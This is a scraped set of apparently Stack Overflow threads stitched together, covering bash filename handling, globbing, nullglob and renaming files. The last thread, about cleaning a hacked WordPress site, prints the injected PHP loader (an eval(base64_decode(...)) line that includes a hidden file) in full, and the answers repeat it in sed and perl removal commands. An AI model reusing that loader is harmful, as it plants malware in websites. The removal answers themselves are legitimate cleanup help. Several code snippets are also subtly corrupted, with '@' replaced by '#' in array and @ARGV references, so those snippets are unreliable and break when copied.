I want to list all files in my home folder, and remove the # in the filename.
For example:
#.emacs# should be printed out as .emacs
This is my code
for dir in $(ls ~)
do
# trim trailing
filename="${dir#\#}"
echo ${filename}
done
But it's still showing files preceding with # though I managed the regular expression ${dir#\#} in terminal.
Can you tell me where's the smell in my code?
remove # from filename, should be :
filename="${dir//#/}"
edit: in some systems (such as Solaris), above command doesn't work, you need escape.
filename="${dir//\#/}"
The rest are fine for both cygwin and Solaris.
If you need remove all contents before #
filename="${dir##*#}"
If you need remove all contents after #
filename="${dir%%#*}"
Here are full explanation I copy and paste from bash Substring Replacement
${string/substring/replacement}
Replace first match of $substring with $replacement.
${string//substring/replacement}
Replace all matches of $substring with $replacement.
${string%substring}
Deletes shortest match of $substring from back of $string.
${string%%substring}
Deletes longest match of $substring from back of $string.
${string#substring}
Deletes shortest match of $substring from front of $string.
${string##substring}
Deletes longest match of $substring from front of $string.
Don't parse ls. You can just you bash wildcard expansion instead. Also, your use of parameter expansion is wrong, ${word#something} removes something from the prefix not the suffix. So try
#!/bin/bash
for dir in ~/*
do
# trim trailing
filename="${dir%#}"
echo "${filename}"
done
Here's a - hopefully - instructive version:
#!/usr/bin/env bash
# Make pathname expansion match files that start with '.', too.
shopt -s dotglob
# Loop over all files/dirs. in the home folder.
for f in ~/*; do
# Exit, if no files/dirs match at all (this test may
# not be necessary if `shopt -s nullglob` is in effect).
# Use -f to only match files, -d to only match dirs.
[[ -e $f ]] || break
# Remove the path component ...
filename=$(basename "$f")
# ... and then all '#' chars. from the name.
filename="${filename//#/}"
# Process result
echo "${filename}"
done
As others have noted, you should not parse ls output - direct pathname expansion of globs (wildcard patterns) is always the better choice.
shopt -s dotglob ensures that files or dirs whose name starts with . are included in pathname expansion.
Pathname expansions occurs with the path component intact, so to get the mere filename from the loop variable, basename must be applied (first), in order to strip the path component.
Probably not an issue here, but unless shopt -s nullglob is in effect (not by default), a glob that matches nothing is left untouched, so the loop is entered with an invalid filename - hence the [[ -e ... ]] test.
Hi you just echo the filename but not to rename it. So first you need to cd to home directory from scripts then rename files. Please below scripts to find file name which contain # char and removed # from file name.
#! /bin/bash
cd ~
for i in $(ls ~ )
do
if [[ "${i}" == *#* ]]
then
var=$(echo "$i" | sed 's/#//' )
printf "%s\n" "$var" #to print only
#mv "$i" "$var" #to renmae
fi
done
You didn’t state that your files have # at the start and end of filename earlier. Try something like:
for dir in ~/*; do
filename="${dir#\#}"
filename="${filename%\#}"
echo "$dir ---> ${filename}"
done
or use what BMW has shown as his first example:
for dir in ~/*; do
filename="${dir//#/}"
echo "$dir ---> ${filename}"
done
Once you are satisfied with echo’s output. You can replace that with mv.
P.S: Re-iterating what BroSlow stated. Don’t parse ls.
Related
I want to remove all file contain a substring in a string, if does not contain, I want to ignore it, so I use regex expression
str=9009
patt=*v[0-9]{3,}*.txt
for i in "${patt}"; do echo "$i"
if ! [[ "$i" =~ $str ]]; then rm "$i" ; fi done
but I got an error :
*v[0-9]{3,}*.txt
rm: cannot remove '*v[0-9]{3,}*.txt': No such file or directory
file name like this : mari_v9009.txt femme_v9009.txt mari_v9010.txt femme_v9010.txt
bash filename expansion does not use regular expressions. See https://www.gnu.org/software/bash/manual/bash.html#Filename-Expansion
To find files with "v followed by 3 or more digits followed by .txt" you'll have to use bash's extended pattern matching.
A demonstration:
$ shopt -s extglob
$ touch mari_v9009.txt femme_v9009.txt mari_v9010.txt femme_v9010.txt
$ touch foo_v12.txt
$ for f in *v[0-9][0-9]+([0-9]).txt; do echo "$f"; done
femme_v9009.txt
femme_v9010.txt
mari_v9009.txt
mari_v9010.txt
What you have with this pattern for i in *v[0-9]{3,}*.txt is:
first, bash performs brace expansion which results in
for i in *v[0-9]3*.txt *v[0-9]*.txt
then, the first word *v[0-9]3*.txt results in no matches, and the default behaviour of bash is to leave the pattern as a plain string. rm tries to delete the file named literally "*v[0-9]3*.txt" and that gives you the "file not found error"
next, the second word *v[0-9]*.txt gets expanded, but the expansion will include files you don't want to delete.
I missed the not from the question.
try this: within [[ ... ]], the == and != operators are a pattern-matching operators, and extended globbing is enabled by default
keep_pattern='*v[0-9][0-9]+([0-9]).txt'
for file in *; do
if [[ $file != $keep_pattern ]]; then
echo rm "$file"
fi
done
But find would be preferable here, if it's OK to descend into subdirectories:
find . -regextype posix-extended '!' -regex '.*v[0-9]{3,}\.txt' -print
# ...............................^^^
If that returns the files you expect to delete, change -print to -delete
You need to remove the quotes in the for loop. Then the filename globs will be interpreted:
for i in ${patt}; do echo "$i"
I assume that you are using Python.
I have tested your regex code, and found the * character unnecessary.
The following seems to work fine: v[0-9]{3,}.txt
Can you please elaborate some more on the issue?
Thanks,
Bren.
I just piped the error message to /dev/null. This worked for me:
#!/bin/bash
str=9009
patt=*v[0-9]{3,}*.txt
rm $(eval ls $patt 2> /dev/null | grep $str)
This is not regex, this is globbing. Take a look what gets expanded:
# echo *v[0-9]{3,}*.txt
*v[0-9]3*.txt femme_v9009.txt femme_v9010.txt mari_v9009.txt mari_v9010.txt
*v[0-9]3*.txt obvously doesn't exists. can you clarify what files are you trying to achieve with {3,} ? Otherwise live it out and it will match the kind of filenames you have specified.
http://tldp.org/LDP/abs/html/globbingref.html
I want to create a list:
0123456789abcdefghijklmnopqrstuvxwyzABCDEFGHIJKLMNOPQRSTUVXWYZ-._
And then iterate trough all files in folder, replacing every character in the file names that is not present in this list with an underscore _.
That includes blank spaces.
But using Bash and GNU tools only.
Is that possible?
Bash internals only:
for file in *; do
repl=${file//[!$permitted]/_}
case $file in "$repl") continue;; esac # skip if identical
# Safety: add a suffix to avoid overwriting
while [ -e "$repl" ]; do
repl=${repl}_
done
mv "$file" "$repl"
done
If $permitted contains a slash, you will need to backslash-escape it.
Having the Perl version of the rename command, you can use this:
rename 's/[^[:alnum:]._-]/_/g' *
Yes it is possible :)
for filename in *; do
newfilename=$(echo "$filename" | sed 's/[^0123456789abcdefghijklmnopqrstuvxwyzABCDEFGHIJKLMNOPQRSTUVXWYZ._-]/_/g')
mv "$filename" "$newfilename"
done
I use the following code to search for matching files in the current directory:
# Check for existing backups
EXISTINGFILES="./dropbox-backup-*.tar.gz"
if [[ ! -z "$EXISTINGFILES" ]]
then
echo "Found existing backups!"
# do stuff here...
else
echo "Did not find any existing backups."
fi
This method for finding matching files allows me to iterate over matches with a loop such as for f in $EXISTINGFILES, but it never detects when no matching files were found.
How can I modify my code above to detect when no matching files were found??
Use this instead:
EXISTINGFILES=`find . -type f -name 'dropbox-backup-*.tar.gz'`
Explanation:
The problem with EXISTINGFILES=./dropbox-backup-*.tar.gz, in the context of your script, is that $EXISTINGFILES will always be non-zero since you are assigning it a value ("./dropbox-backup-*.tar.gz").
In the above solution, we are first finding the file(s) and assigning it to the variable. If the file is not found, then the variable will be zero and your script will go to the else block (i.e. will indicate "no matching files were found").
You seem to be looking for nullglob. Say:
shopt -s nullglob
at the top of your script.
$ ls foobar*
ls: foobar*: No such file or directory
$ for i in foobar*; do echo $i; done # Print foobar* if doesn't find match
foobar*
$ shopt -s nullglob
$ for i in foobar*; do echo $i; done # Doesn't print anything if no match found
$
Turn existing_files into bash array and also use nullglob
shopt -s nullglob
existing_files=(./dropbox-backup-*.tar.gz)
if ((${#existing_files[#]})); then echo 'files exist'; fi
The problem is that you are quoting the asterisk both when you set the value of EXISTINGFILES and when you expand it, so that it is never treated as a wild-card pattern. I would skip the use of variable and use the pattern by itself like this:
for f in ./dropbox-backup-*.tar.gz; do
if [[ -f "$f" ]]; then
echo "Found existing backups!"
# do stuff here...
else
echo "Did not find any existing backups."
fi
break
done
If you want to store the full list of matching names, use an array:
EXISTINGFILES=( ./dropbox-backup-*.tar.gz )
if [[ -f "${EXISTINGFILES[0]}" ]]; then
By default, a pattern that matches 0 files is treated literally, which is why I use -f in the above examples: to test if the "file" (which might be the literal pattern instead) actually exists. You can modify the default behavior so that a non-matching pattern simply vanishes instead:
shopt -s nullglob
EXISTINGFILES=( ./dropbox-backup-*.tar.gz )
for f in "${EXISTINGFILES[#]}"; do
# Do stuff; there is at least one matching file if we are in
# the body of the loop
done
First, I know this sounds ass backwards. It is. But I'm looking to convert (on the BASH command line) a bunch of script-generated thumbnail filenames that do have a "%20" in them to the equivalent without filenames. In case you're curious, the reason is because the script I'm using created the thumbnail filenames from their current URLs, and it added the %20 in the process. But now WordPress is looking for files like "This%20Filename.jpg" and the browser is, of course, removing the escape character and replacing it with spaces. Which is why one shouldn't have spaces in filenames.
But since I'm stuck here, I'd love to convert my existing thumbnails over. Next, I will post a question for help fixing the problem in the script mentioned above. What I'm looking for now is a quick script to do the bad thing and create filenames with spaces out of filenames with "%20"s.
Thanks!
If you only want to replace each literal %20 with one space:
for i in *; do
mv "$i" "${i//\%20/ }"
done
(for instance this will rename file%with%20two%20spaces to file%with two spaces).
You'll probably need to apply %25->% too though, and other similar transforms.
convmv can do this, no script needed.
$ ls
a%20b.txt
$ convmv --unescape *.txt --notest
mv "./a%20b.txt" "./a b.txt"
Ready!
$ ls
a b.txt
personally, I don't like file names with spaces - beware you will have to treat them specially in future scripts. Anyway, here is the script that will do what you want to achieve.
#!/bin/sh
for fname in `ls *%20*`
do
newfname=`echo $fname | sed 's/%20/ /g'`
mv $fname "$newfname"
done;
Place this to a file, add execute permission and run this from the directory where you have file with %20 in their names.
Code :
#!/bin/bash
# This is where your files currently are
DPATH="/home/you/foo/*.txt"
# This is where your new files will be created
BPATH="/home/you/new_foo"
TFILE="/tmp/out.tmp.$$"
[ ! -d $BPATH ] && mkdir -p $BPATH || :
for f in $DPATH
do
if [ -f $f -a -r $f ]; then
/bin/cp -f $f $BPATH
sed "s/%20/ /g" "$f" > $TFILE && mv $TFILE "$f"
else
echo "Error: Cannot read $f"
fi
done
/bin/rm $TFILE
Not bash, but for the more general case of %hh (encoded hex) in names.
#!/usr/bin/perl
foreach $c(#ARGV){
$d=$c;
$d=~s/%([a-fA-F0-9][a-fA-F0-9])/my $a=pack('C',hex($1));$a="\\$a"/eg;
print `mv $c $d` if ($c ne $d);
}
I've got a hacked wordpress install I'd like to clean up. Every single .php file has had this inserted at the top:
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
I'd like to replace that string with nothing in every .php file in the wordpress directory including subs. What's my best option? I've got bash, python, perl, php and so on.
I've tried:
perl -pi -e 's/<?php\ /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='));\ ?>//g' *.php
Bareword found where operator expected at -e line 1, near "s/<?php\ /**/eval"
syntax error at -e line 1, near "s/<?php\ /**/eval"
Identifier too long at -e line 1.
and
sed -i 's/<?php\ /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='));\ ?>//g' *.php
sed: -e expression #1, char 15: unknown option to `s'
#!/usr/bin/perl
use warnings;
use strict;
use File::Find;
# get a list of files
local #ARGV;
find sub {push #ARGV, $File::Find::name if /\.php$/}, '.';
# do in-place editing
$^I = '.bak';
while (<>) {
print unless $_ eq "<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>\n";
}
Note that in your base string, you already have the reg-exp delimiter used by default (and you are using) the '/' char in your perl and sed.
You can either escape all those like '\/' OR you can use a different char for the reg-exp delimiter. For sed, try
sed -i 's#<?php\ /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='));\ ?>##g' *.php
For some seds, you have to 'tell' sed you are changing up. only the initial reg-exp delimiter needs an esacpe char, i.e. sed -k 's\#<....##g' *.php
I hope this helps.
P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, and/or give it a + (or -) as a useful answer.
The problem is that '/' exists in the string you want to match, and you are using '/' as your pattern delimiter. Luckily, Perl allows you to specify alternate delimiters, so use one that is not in the string you are matching:
perl -pn -i.bak -e "s{<?php\ /\*\*/eval\(base64_decode\('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='\)\);\ \?>}{}g;" `find . -name '*.php'`
I modified the command a bit. It is always good practice to create backup files when doing in-place edits in case there is an error or you need to verify (via diff) that the command did what you expect (I have a perl program that allows me to easily rename the .bak files back in case I need to reset things).
I also use a find command to get the list of all .php files in and below the current directory. If working in a flat directory, your *.php is sufficient.
You also need to escape regex specials in the string you want to match. Example the '*', '?', and '()' characters need to be escaped.
If the command works as expected, you can run the following command to remove the .bak files:
/bin/rm `find . -name '*.bak'`
find ./*php | xargs -t -i perl -pi -e "s/<\?php\s+\/\*\*\/eval\(base64_decode\(\'\S+\'\)\);\s+\?>//;" {}
Feel free to substitute the ginormous base64 string instead of \S+
Try this:
sed -i -r 's/<\?php\ \/\*\*\/eval\(base64_decode\('\''aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='\''\)\); \?>//' *.php
Things I changed:
escaped all regexp symbols in your code (e.g. (, ), * and ?)
replaced ' with '\'' in your code, which is the only way to put a ' in a '-delimited string in bash
If you want to recursively replace *.php even in subdirectories of this directory:
find -print0 | xargs -0 sed -i -r 's/<\?php\ \/\*\*\/eval\(base64_decode\('\''aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='\''\)\); \?>//'
Note that I've used -print0 and -0 so it doesn't break with files with spaces.
Here's a bash 4+ script
#!/bin/bash
shopt -s globstar
shopt -s nullglob
for php in **/*.php
do
data=$(<"$php")
a=${data%%<?php*}
echo "$a ${data#*?>}" > t && mv t "$php"
done